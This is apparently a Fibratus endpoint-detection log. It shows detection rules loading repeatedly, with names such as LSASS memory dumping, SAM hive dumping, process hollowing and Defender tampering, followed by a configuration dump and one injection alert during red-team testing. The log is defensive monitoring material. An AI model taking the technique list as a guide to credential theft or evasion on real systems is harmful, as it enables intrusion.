source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T16:04:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:05:17+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T16:05:17+01:00 level=info msg=bootstrapping with pid 10576. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T16:05:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html port=>25 to=>[] use-template=>true] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-mem=>false max-buffers=>36 enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 min-buffers=>16 enable-thread=>true enable-registry=>true enable-net=>true enable-vamap=>true flush-interval=>1s enable-fileio=>true enable-image=>true enable-dns=>false enable-threadpool=>false stack-enrichment=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info formatter=>text log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ sniff=>false healthcheck=>true timeout=>5s servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck-interval=>10s flush-period=>1s gzip-compression=>false bulk-workers=>1 template-name=>fibratus healthcheck-timeout=>5s trace-log=>false enabled=>false] amqp=>[ vhost=>/ enabled=>false passive=>false timeout=>5s exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus durable=>false delivery-mode=>transient url=>amqp://localhost:5672] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false method=>POST enabled=>false endpoints=>[] timeout=>5s serializer=>json] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false fastscan=>true excluded-files=>[] skip-mmaps=>false enabled=>false skip-files=>false scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-11T16:05:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:05:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:06:42+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1541865 + Pid: 14512 + Tid: 19208 + Type: SetThreadContext + CPU: 4 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 16:06:41.5845293 +0100 CET + Params: status➜ Success + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.ooo: true, rule.name: Thread context set from unbacked memory, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 14512 + Ppid: 17996 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\module-stomping" "--pswd=C:\Fibratus\redteam\module-stomping" "--execution-time=90.7862" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\module-stomping" "--pswd=C:\Fibratus\redteam\module-stomping" "--execution-time=90.7862" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:06:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T16:06:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:06:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:07:15+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T16:07:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml 